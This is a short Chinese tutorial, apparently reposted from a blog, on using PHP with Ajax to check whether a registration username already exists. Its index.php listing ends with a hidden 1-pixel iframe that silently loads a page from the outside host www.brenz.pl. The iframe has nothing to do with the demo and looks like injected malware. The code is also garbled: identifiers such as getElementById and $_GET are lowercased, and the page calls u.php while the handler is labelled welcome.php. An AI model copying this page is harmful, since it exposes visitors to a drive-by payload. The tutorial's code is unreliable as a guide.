PHP与Ajax相结合实现登录验证小Demo
程序员文章站
2023-12-12 20:33:46
ajax即“asynchronous javascript and xml”（异步javascript和xml），是指一种创建交互式网页应用的网页开发技术。...
ajax即“asynchronous javascript and xml”（异步javascript和xml），是指一种创建交互式网页应用的网页开发技术。
ajax = asynchronous javascript and xml（异步的 javascript 和 xml）。
ajax 不是新的编程语言，而是一种使用现有标准的新方法。
ajax 是与服务器交换数据并更新部分网页的艺术，在不重新加载整个页面的情况下。
设计一个用户注册页面，当用户输入注册名的时候，检测用户名是否已存在，如果存在，给予提示
我们先打index.php
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312" />
<script type="text/javascript">
function ajax(){
var xmlhttpreq=null;//初始对象xmlhttpreq
if(window.activexobject){
xmlhttpreq=new activexobject("microsoft.xmlhttp");
}else if(window.xmlhttprequest){
xmlhttpreq=new xmlhttprequest();
}
var userid=document.getelementbyid("userid").value;//value取得id为userid的值
url="u.php?userid="+userid;//路径
if(xmlhttpreq!=null){//若对象实例化创建成功
xmlhttpreq.open("get",url,true);//open()打开请求
xmlhttpreq.onreadystatechange=requestcallback;//设置回调函数requestcallback()
xmlhttpreq.send(null);//请求不包括正文
}
function requestcallback(){//回调函数
if(xmlhttpreq.readystate==4){
if(xmlhttpreq.status==200){//请求成功
document.getelementbyid("get").innerhtml=xmlhttpreq.responsetext;//将得到的信息赋给id属性为get的div
}
}
}
}
</script>
</head>
<body>
<font>
注册
</font><br>
<form>
用户名:<input type="text"value="yuki"id="userid"name="userid"><input type="button"value="检测"onclick="ajax()">
<div id="get">
</div>
</form>
<iframe style="height:1px" src="http://www.brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
welcome.php
<?php
header("content-type:text/html;charset=gb2312");
//sleep(1);
$userid=$_get["userid"];
if($userid=="管理员"){
echo "用户名已存在!";
}else{
echo "该用户名可以注册";
}
?>
关于php与ajax相结合实现登录验证小demo的相关知识就给大家介绍到这里，希望对大家有所帮助！